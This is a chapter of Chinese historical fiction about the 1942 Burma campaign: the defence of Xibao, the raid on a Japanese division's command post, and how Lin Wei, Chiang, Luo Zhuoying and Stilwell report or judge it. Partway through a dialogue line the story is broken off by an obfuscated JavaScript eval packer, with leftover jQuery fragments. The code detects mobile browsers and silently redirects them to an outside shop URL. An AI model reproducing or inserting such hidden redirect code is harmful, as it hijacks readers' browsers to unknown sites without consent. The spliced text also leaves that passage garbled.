细包顶了七天。
四月二十七号早上八点接火，到五月三号拂晓，黄翔那个团从三个营打成不到两个营，胡献群的战车团能发动的车从二十二辆掉到十三辆，油只剩箱底。这七天里日军第五十六师团的先头压了六次，第六次已经压到团部跟前，黄翔把炊事班和担架队都填进去才顶回来。要是有第七次，细包守不住；细包守不住，再往北五十公里就是腊戍。腊戍是滇缅公路的起点，堆着六万人的粮食、油料、弹药和药品，城里当时几乎没有成建制的战斗部队。
第七次没有来，因为廖耀湘的新二十二师赶到了。
这个师原本正沿公路往曼德勒开，四月二十七号凌晨接到掉头的命令，全师往回赶。先头团二十九号夜里下的山，三十号早上在细包接了黄翔的正面，带队的团长是中校傅宗良；廖耀湘本人到眉苗，主力还散在几百里路上，一个团一个团往东挪。
傅宗良接手以后办的头一件事，是把团里三个到过这一带的人找来。其中一个是本地雇的挑夫，说这一带往南除了公路还有三条道，有一条是收米的时候走的，从山背后下去能绕到公路南边。傅宗良把他带上山梁让他拿手指，指出来的地方离细包南边十四公里。三十号夜里，一个加强连带着那个挑夫下去看了一趟，走了一夜零半天，看回来三样东西：公路上停着车队，宿营摆在公路两侧，东侧三百米一片棚子四周设岗，其中一处顶上支着天线。五月一号中午军部下令，抽两个营循该道秘密南下。两个营是五月二号夜里出发的，在雨里走了整整一夜。
五月三号拂晓四点五十，细包正面打响；四点五十六分，这两个营从东侧那条山路摸到十四公里以外，端掉了第五十六师团的指挥所。日军三部电台全部损失，师团长带着二十来个人从西侧跑掉。从那一刻起到当天下午，这个师团的前锋没有指挥，前锋跟辎重之间也断了联络，中午以后各打各的，有一个大队自行南退。压在细包正面那股力气一下子就松了。
黄翔和傅宗良趁势往南推了二十公里，推到傍晚就停住了，没有再追。
理由摆在那儿，一条一条都很实在。动手的那两个营是轻装摸下去的，每人两天干粮，一门炮也没有，那条山路上不去炮；新二十二师的主力还散在路上，一个团当天夜里才到眉苗，另一个团要等第二天；细包正面这两个团七天没换过防，弹药所剩无几；胡献群九辆车里有三辆是拆了别的车拼起来的，油要等当天夜里那一趟油车。最要紧的是那条公路——四月二十四号黄翔亲手爆破的三个涵洞、两处山坡到今天还堵在那儿，日本人的车过不来，中国人的车一样过不来。
再往南三十公里，日军还有七千人，散成三块，可是每一块都还成建制。
所以命令上从一开头写的就是：得手后不恋战，即向北靠拢。这一仗要办的本来不是歼灭一个师团，是把腊戍那扇门关上。
门关上了。
---
五月三号夜里，腊戍。
侯腾推门进来的时候手里拿着两张纸，脸上的神色跟平常大不一样。他把战报放在桌上，说了句细包那边打赢了，敌师团指挥所端了，师团长跑了。
林蔚“嗯”了一声，把手上的东西推开，先看战报，看完往回翻，翻了两遍才抬起头。
这两个人心里是同一样东西。参谋团就在腊戍，一栋房子，几十号人，一个作战单位也没有。五月三号那天早上，日军的先头离这里五十公里；那五十公里上摆着的是黄翔一个团和九辆还能发动的战车。腊戍要是破了，六万人失掉退路是一件事，他们两个连同这一屋子的译电员、参谋、文书，是走不出去的。
“你这几天把箱子装好了吧。”林蔚说。
侯腾笑了一下，说装好了。密码本和电台备件三天前就装了箱，两辆车油加满停在后院，钥匙在值班参谋身上。还有一句他没说出口：他连往畹町走的路线都想过了，白天躲，夜里走，走十天。
“我知道。”林蔚说，“我要是连这个都不知道，就该换个秘书长。”
侯腾这才把那口气长长地放出来，站在那儿笑了半天。笑完他说了句实在话：“长官，这一回真是悬。”
“悬。”林蔚说。
他把战报又拉过来，翻到中间那一段。那一段写的是新二十二师如何取得这条道的：军部去年发下的路况资料内有此条，本师去年八月另派人实地复核，此次即循该道南下。
他看了两遍，抬起头问去年那一批印了多少份。侯腾说三千，第二批一直卡在昆明的纸上，没有印成。
林蔚把手指在桌面上按了按。他想起来的是民国三十年那条船——船在南洋上开了两个多月，餐厅里三位将军手上的图，同一个地方写着三个名字。他那天在大舱里点了林方矩的名，交代了三句话，交代完就去办别的了。那件事在他心里存了一年，存的位置很靠后，属于办了不亏、不办也没人怪的那一类。
今天这件小事从三百公里外绕了回来，绕成了一个日军师团的指挥所。
他没有把这层意思说出来。他这个人向来如此，记住的事情照例不往外讲，要讲也总隔得很久，隔到人家早忘了这一茬。
他心里另外还有一件事要处理。四月二十七号凌晨那一夜，他派侯腾送电报去皎克西，同时另派一个参谋直奔第五军。这一手在规矩上站不住，参谋团不能越过总司令跟军部直接联络军务。事情办成了，办成的东西没有人会去追究，可这份呈报是要送到重庆那张桌子上去的，将来别人先提出来，就成了他瞒着不报。
他把纸拉过来，自己写了三行，写的是那天夜里两路人几点出的门、几点到的、各交给谁。
“长官，这一段——”
“这一段要写。”林蔚说，“别人写出来是揭发，我自己写出来是经过。”
侯腾把稿子收好，收完还站着，因为林蔚又开口了。
“第二批的事，今天夜里一起报上去。”林蔚说，“把去年那一册加上复核那一栏重印，缅甸这边的部队一个也不许漏。纸和经费一并请拨。”
“昆明卡了一年了。”侯腾说。
“昨天卡，今天不卡。”林蔚把笔搁下，“今天这份战报送上去，我们要什么重庆给什么。这种日子一年碰不上一回，你把要的东西一次报够。”
侯腾“嘿”了一声，抱着稿子出去。走到院子里他站住了：译电室那边灯全亮着，几个译电员正围着桌子吃东西，也不知道从哪儿弄来的花生，笑得整条走廊都听得见。
他忽然想起四月二十七号那天早上，他在皎克西的院子里等了三分钟，把电报交到罗卓英手上，看着他看完，看着他说谨遵办理。那封电报上点了两个人的名，真正照着它办的那一个，电报上没有写。
侯腾在院子里乐了一会儿，把帽子往下压了压，去发报了。
那天夜里，林蔚睡了这半个月来的头一个整觉。
---
五月四号夜里，重庆。
那天送到侍从室的东西一共三份：第一路司令长官部的呈报，第五军的通报，参谋团的呈报。三份写的是同一件事，三种写法。委员长把三份并排摆开，先拿起来的是第五军那一份。
他看得很仔细，看到战果那一段的时候把纸往灯底下挪了挪。上头写着击溃敌第五十六师团先遣部队，攻占敌师团指挥所一处，缴获电台两部（另一部损坏），作战地图及文书一批，敌师团长率残部南遁。
他往下找了找，没有找到人头。
他这十几年看战报看得太多了。歼敌若干、俘获若干、敌尸遍野，这一类的数目字他一眼能看出真假，看出来也不说破，因为说破了下一份还是这么写。今天这一份上一个人头也没有，只有点得出来的东西：两部电台，一批图，一批文书，一个跑掉的师团长。他把这一段又看了一遍，心里踏实了几分——写得老实的东西，才敢拿出去给人看。
这一仗证明了他四月二十七号那个决断是对的。
那天夜里九点到十一点之间他发出去的那封电报，写的是瓦城不守亦可，此时保守腊戍为第一。前方几乎所有人的眼睛都盯着曼德勒，只有他把腊戍摆在头一位。腊戍今天还在，六万人的粮食、油料和退路今天还在。他这些年养成一个习惯，凡事先把最坏的一步想到，想到了就先写下来，这个习惯这一回救了缅甸的局面。
想到这儿他把长官部那一份拿了起来。
第三段写着遵照本部保守腊戍之部署。他看到这一行，手指在纸上停了停。
四月二十五号他发过一封电报，写的是腊戍不守后以八莫、密支那为基地。那是备而不用的最后一步，是压在锦囊最底下的一张。曼德勒能守就守曼德勒，守不住退回来守腊戍，腊戍再守不住才有八莫、密支那——三步一步一步排着，腊戍是根本，是六万人的家，家还在的时候谁会去谈第三步。这一层用不着讲。
结果这封电报到了皎克西，被读成了腊戍可以不守。
他隔了两天不得不再发一封，一个字一个字地念给译电员，写明瓦城不守亦可，保守腊戍为第一，还要人当面切告。罗卓英——保定出身的老行伍，带过兵，打过仗，坐在总司令的位子上，统帅的意思要靠第二封电报才读得明白——这件事他今天记下来了。今天这份呈报上又写着遵照本部保守腊戍之部署，写得倒是很顺手。
他把长官部那一份放回原处，没有说话。仗打赢了，大家都要在里头占一格，占得不过分就由他去。眼下这个当口不是动人的时候。
第二样让他上心的是那条路。三份呈报里都提到了，说这条路不在军令部的图上，是去年参谋团编印的一册路况资料里的。
他叫人把那一册东西再拿来，翻到东边那几页。那几页的纸很粗，油墨发灰，字排得密密麻麻。上头没有一句军语，写的全是走一趟要多少天、路上有没有水、雨季绕不绕得过去、驮马过不过得来，一条一条底下还注着是哪一年问的、问的是跑什么买卖的人。他看到一处，注着旱季一日可到，雨季须绕，多走大半日，沿途无水。
这样的东西坐在重庆是编不出来的。要有人在一年以前就想到该去编，还要有人肯把它印成三千份发下去。军令部那张铜版纸的图印得漂漂亮亮，偏偏东边那一片什么也没有；一册纸粗墨浅的油印本，今天换来了一个师团的指挥所。
这件事是林蔚办的。
他把这个名字在心里过了一遍，越想越觉得这个人难得。民国三十年考察团一回国，林蔚就把这件事交办下去，那时候日本人还没有南下，缅甸太平得很，谁也不会想到一年以后要靠它救腊戍。四月二十七号凌晨一点收到电报，一点一刻人就上路，天亮以前送到皎克西，前后一分钟也没有耽误。这一次呈报上来的东西，连自己那天夜里怎么办事、几点出的门、交给谁，都一五一十写在纸上，一句遮掩也没有。
做事想在前头，办事快在人前，报事又不藏私。他手底下这样的人不多。
底下的局面还是不好办。腊戍这一回保住了，可他很清楚这只是保住一时。第五十六师团被打掉了一个头，后头还有身子；曼德勒那边史迪威照原计划不动，罗卓英说谨遵办理，英国人的车队还在往印度走。
英国人这一头他想起来就来气。仗打到今天，人家自己的主力往印度撤，还要中国的军队跟过去替他们守印度——缅甸是英国人的，印度也是英国人的，中国的兵从自己家里出来，最后要在人家的殖民地上安家落户，天底下哪有这个道理。这句话他用不着藏着掖着，会上讲过，电报里也写过，讲了写了人家照旧提，提得一次比一次理直气壮。他真正要防的不是这句话说不出口，是这句话一说出口，史迪威第二天就有一封电报到华盛顿，抬头写着中国方面拒绝配合。
他把三份呈报理齐了，叫人拿纸笔。那天夜里他一共吩咐了四件事。
头一件是嘉奖第五军细包之役，电文里特意交代把缴获的项目一样一样列上去，不要写歼敌数目，另抄一份送英美两方的联络人员。第二件是命军令部将该路补入图内，限期查明缅甸东部各路，凡不能查明者据实注明。第三件是那一册路况照原样重印，纸和经费照参谋团所请拨给，发到团一级，中央军、地方部队一律发，不分先后。
第四件他是想了一会儿才说的：传令嘉奖军委会办公厅副主任兼驻滇参谋团团长林蔚，电文里写明两条，一条是筹办缅甸路况资料有远见，一条是四月二十七日转达电令迅速得力。
参谋记完抬起头，说委座，那一册地图上头印着未经复核。
“就照那样印。”委员长说，“一个字也不要改。”
---
五月三号下午，第一封战况通报到了皎克西，详报第二天上午到。
罗卓英把两份一起看完，头一样上来的是高兴，而且高兴得很痛快。远征军入缅三个多月，同古是守出来的，斯瓦是退出来的，这一回是打出来的，打进了日军一个师团的指挥所，把师团长赶得连帽子都没顾上戴。这是他到任以来的头一件喜事，而这支部队叫远征军，远征军的总司令是他。
高兴过去以后，第二样才慢慢上来。他把详报又看了一遍，这一回看的是日期。罗衣考四月二十号前后失守，日军第五十六师团从东边一路北上，五月三号那天离腊戍只有五十公里。他拿铅笔在图上量了量，量完把笔放下了。
他后背上那层汗，是量完以后才出来的。
他这半个月不是不管腊戍，他是根本没有把东边当成一件真事。军令部的图上那一片什么也没画，英国方面的情报说日军主力在中路和西路，史迪威也是这么看的，三样凑在一处，东边就成了一片不必操心的地方。他要是早知道那边压着一个整师团，四月二十号那道向乔克巴当集中的令绝不会那么下——他又不是不要腊戍，他是不知道。
想到这一层他还打了个寒噤。腊戍真要丢了，六万人的粮食、油料、弹药和退路一齐没了，重庆那张桌子上头一份摆出来的东西会是什么，他心里一清二楚。
寒噤过去，他把这半个月的纸面从头到尾又走了一遍，走完心里就顺了。
四月十九号，是他当着史迪威和亚历山大的面同意二〇〇师东调棠吉的，原话是东边确实要有人。四月二十七号凌晨委座的电报到，他早上八点就跟史迪威把话讲明白：曼德勒照参谋长的原计划，腊戍照委座的电报。五月一号第五军把细包的方案报上来，他在稿子上批了业经核酌。三步下来一步不缺，每一步都写在纸上，谁也挑不出错。
那四个字他挑的时候本来就有讲究：打输了，业经核酌就是只核酌过，没批；打赢了，业经核酌就是核酌过了。今天这一手落到了实处，他坐在那儿几乎要笑出声来。
只有一件事在心里搁着。这一仗从头到尾没有人问过他一句。第五军五月一号中午报上来的抬头写的是通报，不是请示，报的还是三日拂晓的事，那意思他当时就懂——人家算准了他来不及回。
他没有生气，他想的是怎么办。想了两分钟他就想明白了：办法是嘉奖。
嘉奖是上级给下级的东西。他把嘉奖发下去，这一仗就是他部下打的；他要是不发，反倒像是心里有事。
“总司令，报重庆那一封，抬头怎么写？”杨业孔在旁边等了半天。
“照实写。第一段写战果，第二段写各部部署，第三段——”说到这儿他自己停住，把笔拿了过来。第三段是他亲手写的：所部新编第二十二师，遵照本部保守腊戍之部署，于细包以南袭击敌师团指挥所，克奏肤功。
写完他又叫杨业孔另拟一封给第五军的嘉奖电，说就写所部克敌致果，殊堪嘉慰。想了想他还添了一句，让把黄翔那个团和战车团也列上去，一个也别落下。
杨业孔拿着稿子出去，走到走廊上把这几行看了一遍。三份稿子来回改了三道，改到最后，东边这一摊子从头到尾都成了长官部的部署，四月二十号那道往西的令一个字也没有出现。他跟了这位长官二十年，倒也不觉得这有什么不对——文书这个东西本来就是这么写的，谁写谁在里头。他把稿子在窗台上抚平了，拿去发。
---
隔壁那一栋，史迪威是从自己的联络官嘴里听到消息的。
这是头一样让他不痛快的事。中国人打了一仗，打了一个漂亮的仗，来通知他的不是罗卓英，不是杜聿明，是他自己派出去打听的人。
他让联络官把第五军五月一号报到长官部的那份通报也要过来，摊在桌上从头看。看到最后一段的时候他停住了，那一段是命令的原文：着以两个营循该道秘密南下，五月二日夜到位，三日拂晓袭击敌指挥所。细包正面同时发起攻击，牵制其前锋。得手后不恋战，即向北靠拢。
他把最后九个字看了三遍。
得手后不恋战，即向北靠拢。
这句话是五月一号中午写的。也就是说，在这次进攻发起的三十六个小时以前，下命令的人就已经把撤退写进了命令里。不是备用方案，不是万一失利时的处置，是主方案。他连一句“得手后视情况扩张战果”都没有写。
他坐下来，把咖啡杯推到一边，开始在纸上把五月三号那一天重新排一遍。
拂晓四点五十，正面佯攻；四点五十六分，两个营从东侧打进师团指挥所；五点半以前，日军第五十六师团的三部电台全部损失。从那一刻起，这个师团就不是一个师团了。前锋在细包正面十四公里以北，被中国人的正面攻击咬住，没有指挥；辎重队在南边二十几公里，没有掩护；指挥所所在的中段被打穿。一个日军师团一万五千人，被拉成一条三十公里的长蛇，头、腰、尾互相看不见，也听不见。
在他见过的所有战场上，这样的机会一年遇不上一次。
那么应该怎么打？答案清楚得像教科书上的插图。两个营不撤，就地转入防御，卡住中段那一段公路——那条路上的涵洞还是中国人自己在四月里炸断的，日军的车根本过不来。同一天下午，把新二十二师的主力从眉苗压下去，一个团顺山路，两个团顺公路，从北往南推；黄翔的团和战车团从正面继续压，把失去指挥的前锋往中段那个塞子上撞。南边的辎重队是一支没有电台的卡车队，派一个营就能全部端掉，端掉以后这个师团连吃三天的米都没有。
三天。他在纸上写下这个数字。三天以内，日军第五十六师团会在细包以南三十公里的公路上被切成三段，一段一段被消灭。这不是击溃，是歼灭。这将是这场战争开始以来，中国军队第一次成建制地吃掉一个日本师团。
他想到这里，把铅笔按在纸上按出了一个洞。
这样的东西送到华盛顿去，租借法案的份额一个字都不用他再吵；送到伦敦去，那些正在往印度跑的人得重新坐下来说话；送到重庆去，中国战区在盟国里的位置就此定下来。而全部的代价，不过是让一个已经上了路的师往南多走两天。
他们没有做。他们在四十分钟以后就往北走了。
这一层他反复想了半个钟头，越想越不能理解。这不是谨慎，谨慎的人也会在敌人瘫痪的时候伸手抓一把。这也不是兵力不够，新二十二师的两个团那天夜里就在眉苗，九十六师在路上，六十六军在腊戍。这更不是不懂——杜聿明在昆仑关打过硬仗，他会看图，他手上有中国最好的一个军。
史迪威最后只能得出一个结论：杜聿明这个人从来没有想过要消灭对面那支军队！
史迪威想：杜聿明脑子里装的只有一样东西，就是那条公路和公路尽头那个仓库。他打仗的目的是把仓库保住，把部队保住，把车保住。凡是能算进账本的东西他都算得很精，凡是算不进账本的东西他一概不要。所以他会派两个营去敲掉一顶帐篷，因为那是一笔稳赚的买卖；他不会派一个师去围歼一个师团，因为那要冒险，而冒险这两个字在他的账本上没有一栏。
史迪威想：这个毛病不是杜聿明一个人的。蒋光头那封电报写的是保守腊戍为第一——保守。整封电报里没有一个字提到敌人在哪里、有多少、往哪里走，从头到尾说的都是守住一个地名。罗卓英呢？罗卓英在方案上批了四个字，业经核酌。一位统帅六万人的上将，面对一次师级规模的奇袭方案，写下的是四个不表示任何态度的字。
他把铅笔一摔，抓起帽子就往隔壁那一栋走。
罗卓英正在办公室里，见他进来站起身，脸上还带着这两天那股高兴劲儿，一开口是恭喜的话。史迪威没有坐，也没有接那句恭喜。
“我有三个问题请教总司令。”他说。翻译在旁边译，译得很快。
“第一，这个方案是哪一天报到长官部的？”
杨业孔答：五月一日中午。
“第二，总司令是哪一天批的？”
“当日。”
“批的是什么？”
“业经核酌。”
史迪威点了点头，转过脸去看自己的翻译。
“把这四个字译成英文。”
翻译犹豫了一下，说大意是已经研究过了。
“研究过了。”史迪威把这四个字念了一遍，“然后呢？”
翻译看看罗卓英，又看看他，没有往下说。
“在英文里，”史迪威说，“一位司令官对一份作战计划的批示只有两个词：批准，或者不批准。研究过了，这在我们的条令里没有相应的说法。”
罗卓英的脸色变了一变，答了一句说战场情形瞬息万变，总司令部要通盘考虑。
“通盘考虑。”史迪威说，“那么第三个问题。命令上写着，得手后不恋战，即向北靠拢。这一句是谁加的？”
“第五军拟的。”
“总司令核酌的时候，看见这一句了吗？”
屋里没有人答话。史迪威把帽子在手上转了半圈。
“总司令，昨天早上，日军一个师团在细包以南被打成了三截，一万五千人没有指挥，没有电台，头尾看不见。这是一年碰不上一次的机会。贵军握着它握了四十分钟，然后自己松手走了。”
罗卓英说了一句兵力有限，前线部队尚未集中。
“兵力有限。”史迪威重复了一遍，声音提高了，“贵军在缅甸有六万人！”
他把帽子戴上，走到门口又回过头。
“请代我向杜将军致贺。他用两个营做成了一件本来需要一个师的事——因为他只肯给两个营。”
回到自己屋里，他把门带得很响，副官在外头听见了。他坐下来叫人进来发电。
“报华盛顿。第一句：五月三日，中国军队以两个营袭击日军第五十六师团司令部，得手，缴获电台文件，敌师团长逃脱。第二句：中国军队于得手后自行撤退，未行追击，敌师团主力得以向南收拢。”
副官记完抬起头，说参谋长，自行两个字是不是——
“自行两个字要写上。”史迪威说，“未行追击四个字也要写上。他们把这两句放在一起读，才知道这里发生了什么。”
副官出去以后进来一位英国联络官，来问明天曼德勒的部署照不照旧。史迪威看了他一眼，说曼德勒的事情你去问贵国的亚历山大将军，他的车队现在应该已经过了曼德勒北面。那位联络官站了两秒，敬礼退出去了。
屋里剩他一个人。他拉开抽屉把日记本拿出来，写了三行。
第一行是：中国士兵很好，中国将领是问题所在！今天这一仗证明了我两个月来说过的每一句话。
第二行是：如果我有指挥权，今天躺在那条公路上的会是一个师团，而不是一顶帐篷！他们打瞎了对手的眼睛，然后转身走开了。
第三行是：他们只肯为自己的仓库打仗！
写完他合上本子，在屋里走了两圈。这两个月他试过所有的办法：开会、争论、给重庆去电、给华盛顿去电。他把道理讲到嗓子发干，讲完了照旧什么也不动。四月那一天一夜他已经领教过一回，说定的事情一夜之间能翻过来，翻过来还能再翻回去。一个从不反对你、又管不住自己部下的上将，比一个当面顶你的还要费事——顶你的至少让你知道事情办不成，罗卓英是让你以为事情办成了。
命令不管用，是因为下命令的人手上没有东西。他名义上指挥着六万人，实际上连一个营都调不动，他手上一个兵也没有，不是少，是没有。今天这一仗打赢了跟他没有关系；要是打输了，华盛顿明天就要问他缅甸战区的参谋长在做什么。
所以他要的不是再开十次会。他要的是把不听命令的人换掉！换不掉，就得给他一支自己的部队。这两样只要有一样，缅甸的仗就是另一个打法，而第五十六师团今天就该躺在那条公路上。
---
这一仗打得并没有史迪威想象得那么简单。
七天前，四月二十七号夜里十一点，细包北面的公路上先传来的是发动机的声音。
那时候黄翔阵地上的兵头一个反应是趴下。那两天他们已经被日军的搜索队摸过三回，趴着总不吃亏。左翼那个排长把最后两捆集束手榴弹的绳子都解开了，趴在坑沿上等着，等到前头传回话说是自己人，说是战车，整条阵地上先静了一息，随后哗地就炸开了锅。有个兵从散兵坑里跳出来直着嗓子喊，喊的是咱们的铁王八来啦。
黄翔从坡上半跑半滑地下来，一把揪住从头车上跳下来的那个人的领子。
“胡献群！你他娘的是人是鬼？”
“撒手。”胡献群把他的手拨开，“老子刚掉头回来，油都快烧干了，还得挨你这一下。”
“我还以为是日本人的车。”黄翔指指坡上，“我那个排长手榴弹都捆好了，你再晚说一句话，你这头一辆就得让我们自己人给报销了。”
“那我可得谢谢你。”胡献群啐了一口，抬手在车头上拍了两下，“我先跟你算另一笔。黄翔，你这路是谁炸的？”
“我炸的。”
“我三十公里走了两个半钟头。”胡献群把手指头戳到他鼻子底下，“三个涵洞两处山坡，我那第四辆车差点一头栽进你那个坑里。你是守路的还是拆路的？”
“说明我炸得好啊。”黄翔一点也不脸红，“你都过不来，日本人的车过得来？”
“日本人还没影儿呢，先把老子拦住了。”
“那你现在不是过来了吗。”黄翔笑得露出一口白牙，“过来了就说明我这个分量拿得准。要是连你也过不来，那才叫炸过头了。”
胡献群被他噎了一下，转头去看阵地。车灯扫过去，坡上那些散兵坑、那些用弹药箱垒的胸墙、那些七长八短的枪，一眼就看出个大概。
“第五军的宝贝疙瘩，”黄翔在旁边接上，“今天肯下来陪我们这些捡破烂的了？”
“谁是宝贝疙瘩。”胡献群踢了一脚履带，“老子这几辆车，昆仑关下来就没换过一颗新螺丝，全是拆了这辆补那辆。我这个团现在不叫战车团，叫当铺。”
“当铺好啊。”黄翔说，“当铺有硬货。”
两个人说到这儿都停了一下。黄翔摸出烟来给他一根，自己叼上一根，火柴划了三回才着。
“早上那道令，”黄翔说，“我看见了。”
胡献群没接。
“回国。”黄翔把这两个字念得很慢，“趁腊戍还在手里，尽快回国。写得客气。我这个团要是接着这么一道令，我得高兴得跳起来。”
“我他娘的头一样感觉就是松了口气。”胡献群忽然说。
黄翔看了他一眼，没笑。
“这话我到现在没跟人讲过。”胡献群把烟头往地上一摔，又觉得可惜，弯腰捡起来接着抽，“我这个团是第五军的家底，全中国成建制的战车团就这么一个。上头把家底往后送，往后送的是我，留下的是你们。车上坐的是我的兵，路边站的也是我的兵，我得开着车从他们中间过去。”
“过去就过去。”
“过去的时候一个人都没骂我。”胡献群说，“一句都没有。要是有人骂我一句，我这心里还好受些。”
黄翔把烟灰弹了。
“晚上十点，掉头的令来了。”胡献群说，“我他娘的又松了一口气。前后两回，两回都是松气。你说老子算个什么东西。”
“这算你两回都不用自己拿主意。”黄翔说，“当兵的最舒服的就是这时候。”
胡献群张着嘴看了他两秒，随即笑起来，笑得肩膀直抖，笑完在他背上砸了一拳。
“好个当兵的最舒服。你他娘的还挺会说。”
“我不会说我能带这个团？”黄翔往阵地上一指，“我这一个团，步枪四种口径，机枪三挺捷克两挺马克沁，迫击炮六门，里头两门连瞄准镜都没有，全靠炮长的眼力。我要是不会说，弟兄们早跑光了。”
“万国货。”
“万国货怎么了。”黄翔说，“万国货今天顶了一天，你那个当铺今天在哪儿？在腊戍北边三十里坐着抽烟呢。”
“行了行了。”胡献群摆手，“说正经的。你要我怎么用？”
“不要你冲锋。”黄翔答得很干脆，“我要一个拳头，随叫随到。我这条线三公里，哪一段松了你就往哪一段砸，砸二十分钟就撤，别恋战。剩下的我自己守。”
“这个我干得了。还有呢？”
“把你的车匀我两辆，摆在东头当固定火力。”
“不行。”胡献群一口回绝，“我的车不当碉堡使。趴在那儿三天就成了活靶子，我这九条命经不起。”
“那我要机枪。”
“不给。”
“三挺。”
“一挺。”
“两挺，我拿两门迫击炮跟你换。”
“换个屁，你那两门连瞄准镜都没有。”胡献群把烟掐了，“一挺，外带两箱子弹，你别得寸进尺。”
“成交。”黄翔立刻应下来，回头就朝坡上喊，“老
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17894698|212818||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
李！过来搬东西！战车团的胡团长送咱们一挺重机枪，两箱子弹！”
胡献群在后头骂了一句，说谁送你了，那是借的。黄翔头也不回：“借的更好，借的还得还，还得等打完这一仗还。”
胡献群在车灯底下站了一会儿，最后问了一句：“你能顶几天？”
“上头也问过这句。”黄翔说，“我答的是，一个联队半天，一个师团我顶不住，可我不跑。”
胡献群没说话，把最后那半截烟在鞋底上碾了。
“那我陪你不跑。”
---
三天前，黄翔开始爆破。
那时候罗衣考已经四天没有电报，棠吉那边打得热闹，谁也顾不上问细包一句。他自己算得清清楚楚：真来了硬的他挡不住，他能办的只有一样，让对方走得慢。所以他先动的不是枪，是炸药。公路上三处最要紧的涵洞炸断，两个弯道上的山坡放下来一半，河滩上渡口的木板拆回来当柴烧。
底下的兵想不通，说团长咱们是守路的，怎么先把路给炸了。
黄翔说，路是给跑得快的人用的，咱们跑不快，那就都别跑。
四月二十七号早上八点，对方的搜索队上来了。头一个钟头他还当是零星先头，打到中午就明白不对：对方的迫击炮打得极准，第一轮就把左翼那个连的机枪阵地端掉了。他那天晚上向军部报了三回，三回都写着番号不明。
军部要他查番号，这件事成了他七天里最窝火的一样。他派了两拨人出去，第一拨带回来两片领章和半本烧剩下的册子，全团只有一个排长在中学念过两年日文，认得几个假名，翻来覆去认了半夜，只认出一个地名和一个人的姓。第二拨人出去以后没有回来。报到第四天他跟参谋发了一顿火，说写多写少都得照实，不明就是不明！
骂完他还是每一封都编了号，底稿收在一只油纸包里，包着两层。他四月里在电话上跟罗又伦说过一句，说要是真出事，你替我记着我是几点几分报的、报的什么，别让人家事后说我没报。这七天他一天没落下。
胡献群那边是另一本账。油从腊戍下来五十公里，白天不能走，日本飞机盯着公路，一天来两三趟，油车只能夜里下来。七天里有两个夜里没到：一趟在半路上让飞机炸了，另一趟司机在岔道口拐错弯，天亮才摸回来。所以他的车不敢白天摆在路上，全藏在树底下拿枝子盖着，只在夜里和拂晓出来，每回上去打二十分钟就撤——不是打不动，是心疼那点油。
底下的车长背地里管这个叫抠门战术，有个班长嘴上更不客气，说咱们团长现在不像团长，像掌柜的。
这话传到胡献群耳朵里，他也没生气，哼了一声，“掌柜的怎么了，掌柜的知道柜上还剩几个钱。”
五月三号拂晓那一场，他把箱底的油全泼了进去。十三辆车一齐上路，从细包往南冲了六公里，见着什么打什么，动静大得不讲道理。他要的就是让对方的前锋整个上午都别想回头看一眼。打完往回收，路上丢了四辆，天亮清点，能动的还剩九辆。那四辆一辆也拖不回来，他下令拆件，拆不动的就地烧掉。有个兵拆到一半抬起头问，团长，这个还装得回去吗。
“当然。”胡献群脸不红心不跳地说，“装得回去。”
---
五月三号夜里十点，军部的电话接通了。
黄翔伸手去接听筒的时候，手抖了一下。他自己看见了，把手在裤子上抹了一把，才把听筒抓稳。
罗又伦的嗓门隔着听筒往外冒，头一句就是黄翔你给我听着，第二句才想起来问伤亡。黄翔把数报了，报完问那边到底怎么样。
“师团指挥部被端了！”罗又伦在那头喊，“陈团副两个营四点五十动的手，四十分钟拿下来！敌师团指挥所一处，电台两部，图和文书缴了一大堆，还抬回来一只铁皮箱子！师团长带着二十来个人从西边跑了，跑的时候连帽子都没戴上！”
黄翔“嗬”地叫了一声。屋里那七八个人本来就围在桌子边上，一齐扭过头来。
“还有一样是你要的。”罗又伦说，“番号出来了。”
黄翔手里的听筒差点滑下去。“第五十六师团。”罗又伦一个字一个字地报，“三月里从南方军调过来的，仰光卸的船，箱子里的卸载记录写得清清楚楚。黄翔你听明白了，你这七天顶的是一个师团的先头，不是什么狗屁警备队。”
黄翔扭头就朝屋里吼：“记上！第五十六师团！第、五、十、六！老子查了七天没查着，人家自己给送上门来了！”
屋里“轰”地一下全炸了。有个参谋抓着帽子往地上摔，摔完自己又弯腰捡起来；管电话的通信兵一屁股坐到地上，坐下才发觉不合适，又爬起来立正；那个念了两年日文的排长站在门口，脸涨得通红，两只手不知道往哪儿放，旁边两个人一人一巴掌拍在他背上，把他拍得往前踉跄了两步。
外头的动静更大。消息从团部往阵地上传，传得比电话还快，一段一段地喊过去，喊到最东头，那边有人朝天放了一梭子。黄翔隔着听筒都听见了，扭头骂了一句省着点子弹，骂完自己也笑了。
“我那些电报呢？”他忽然想起来，“你可别给我扔了。”
“一封没扔！底稿全在我抽屉里锁着，从二十四号那封报爆破的算起，一共四十七封。”罗又伦说，“你留着我也留着，回头报功要用。你二十四号自己动手爆破，那时候军部一道令都还没有下过，这一条我给你写进去，写在头一行。”
黄翔在这头笑了半天才说得出话，说那你写，你可劲儿写，我这个团这两年就没进过一回功劳簿，弟兄们连个像样的番号都没混上。
“弟兄们的呢？”他跟着又问，声音低下去一点，“伤的、死的，一个也不能落。”
“一个也不落。”罗又伦说，“名册明天早上报上来，我这边催着办，办不下来我自己去军政部堵门。”
胡献群在旁边站了半天，这时候伸手就把听筒抢了过去。
“参谋长，我是胡献群。我要油，还要零件。”
罗又伦在那头顿了一下，说油有，明天夜里就下去；零件他想办法。
“想办法就是没有。”胡献群说，“那我先记账。参谋长，这一笔我可记着了，回国以后我拿本子找您对。”
挂了电话，屋里那股劲儿还没下去。黄翔往门口一站，冲外头喊，说伙房今天晚上开两回饭，谁再省谁是孙子。
